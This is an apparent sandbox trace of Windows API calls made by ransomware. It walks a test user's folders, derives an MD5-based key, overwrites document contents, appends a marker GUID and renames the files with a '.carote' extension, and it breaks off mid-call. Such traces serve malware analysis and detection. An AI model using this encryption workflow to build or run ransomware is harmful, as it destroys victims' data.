[0113.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.739] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.740] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.740] PathFindFileNameW (pszPath="") returned="" [0113.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0113.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0113.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0113.742] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.742] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.742] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0113.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0113.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.743] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.743] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.743] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.743] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.743] PathFindFileNameW (pszPath="") returned="" [0113.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0113.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0113.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0113.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0113.744] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.744] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.744] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\") returned="Kkla\\" [0113.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\") returned="yc2hVUR2 YKnU\\" [0113.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\") returned="BXteOBXIuKySqXgo0\\" [0113.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.744] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.744] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.744] PathFindFileNameW (pszPath="") returned="" [0113.744] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc30ebcf0, ftCreationTime.dwHighDateTime=0x1d4c832, ftLastAccessTime.dwLowDateTime=0x1cea12d0, ftLastAccessTime.dwHighDateTime=0x1d4ca25, ftLastWriteTime.dwLowDateTime=0x1cea12d0, ftLastWriteTime.dwHighDateTime=0x1d4ca25, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc30ebcf0, ftCreationTime.dwHighDateTime=0x1d4c832, ftLastAccessTime.dwLowDateTime=0x1cea12d0, ftLastAccessTime.dwHighDateTime=0x1d4ca25, ftLastWriteTime.dwLowDateTime=0x1cea12d0, ftLastWriteTime.dwHighDateTime=0x1d4ca25, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a6e770, ftCreationTime.dwHighDateTime=0x1d4c6b7, ftLastAccessTime.dwLowDateTime=0x3820f050, ftLastAccessTime.dwHighDateTime=0x1d4cb97, ftLastWriteTime.dwLowDateTime=0x3820f050, ftLastWriteTime.dwHighDateTime=0x1d4cb97, nFileSizeHigh=0x0, nFileSizeLow=0xea2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5xVedSP9OBEStA.rtf", cAlternateFileName="5XVEDS~1.RTF")) returned 1 [0113.747] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\5xVedSP9OBEStA.rtf") returned=".rtf" [0113.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\5xVedSP9OBEStA.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\5xvedsp9obesta.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.748] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=59951) returned 1 [0113.748] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.750] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xea09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.750] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.751] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xea2f, lpOverlapped=0x0) returned 1 [0113.752] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.752] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.752] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.752] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.753] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.753] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.753] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.753] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.753] GetLastError () returned 0x0 [0113.753] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.753] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.754] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xea2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.754] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.754] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.754] CloseHandle (hObject=0x61c) returned 1 [0113.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\5xVedSP9OBEStA.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\5xvedsp9obesta.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\5xVedSP9OBEStA.rtf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\5xvedsp9obesta.rtf.carote")) returned 1 [0113.756] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8392010, ftCreationTime.dwHighDateTime=0x1d4d321, ftLastAccessTime.dwLowDateTime=0x6970e9c0, ftLastAccessTime.dwHighDateTime=0x1d4c747, ftLastWriteTime.dwLowDateTime=0x6970e9c0, ftLastWriteTime.dwHighDateTime=0x1d4c747, nFileSizeHigh=0x0, nFileSizeLow=0x11a45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7RWAZVtgFSVKtbmnD9-.pps", cAlternateFileName="7RWAZV~1.PPS")) returned 1 [0113.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x7a5d770 [0113.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.756] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\7RWAZVtgFSVKtbmnD9-.pps") returned=".pps" [0113.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\7RWAZVtgFSVKtbmnD9-.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\7rwazvtgfsvktbmnd9-.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.757] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=72261) returned 1 [0113.757] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.759] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11a1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.759] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.761] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.761] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x11a45, lpOverlapped=0x0) returned 1 [0113.761] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.761] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.762] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.762] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.762] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.762] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.762] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.762] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.762] GetLastError () returned 0x0 [0113.763] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.763] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11a50) returned 0x7b182e0 [0113.763] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.763] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x11a40, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x11a40, lpOverlapped=0x0) returned 1 [0113.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.763] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11a45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.764] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.764] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.764] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.764] CloseHandle (hObject=0x61c) returned 1 [0113.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0113.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e0) returned 0x7b14908 [0113.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0113.765] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\7RWAZVtgFSVKtbmnD9-.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\7rwazvtgfsvktbmnd9-.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\7RWAZVtgFSVKtbmnD9-.pps.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\7rwazvtgfsvktbmnd9-.pps.carote")) returned 1 [0113.765] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.766] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.766] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d770 | out: hHeap=0x5010000) returned 1 [0113.766] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41433710, ftCreationTime.dwHighDateTime=0x1d4d2b3, ftLastAccessTime.dwLowDateTime=0xa5e89bc0, ftLastAccessTime.dwHighDateTime=0x1d4c8f3, ftLastWriteTime.dwLowDateTime=0xa5e89bc0, ftLastWriteTime.dwHighDateTime=0x1d4c8f3, nFileSizeHigh=0x0, nFileSizeLow=0x13473, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GkmXiYT zW.rtf", cAlternateFileName="GKMXIY~1.RTF")) returned 1 [0113.766] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.767] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x7a5d770 [0113.767] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.767] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\GkmXiYT zW.rtf") returned=".rtf" [0113.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\GkmXiYT zW.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\gkmxiyt zw.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.767] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=78963) returned 1 [0113.767] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.769] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1344d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.769] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.770] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 